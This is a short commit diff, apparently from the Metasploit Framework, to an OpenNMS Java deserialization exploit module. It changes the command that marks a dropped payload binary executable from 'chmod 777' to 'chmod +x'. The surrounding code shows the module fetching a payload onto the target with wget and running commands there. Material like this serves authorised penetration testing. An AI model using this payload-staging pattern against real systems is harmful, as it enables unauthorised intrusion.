restrict perms a bit more

Author: Brent Cook

modules/exploits/linux/misc/opennms_java_serialize.rb

@@ -101,7 +101,7 @@ def wget_payload
 
   # Change permissions to permit binary execution
   def chmod_payload
-    cmd = "chmod 777 #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
+    cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
 
     vprint_status("#{peer} - Chmod the payload...")
     res = exec_command(cmd)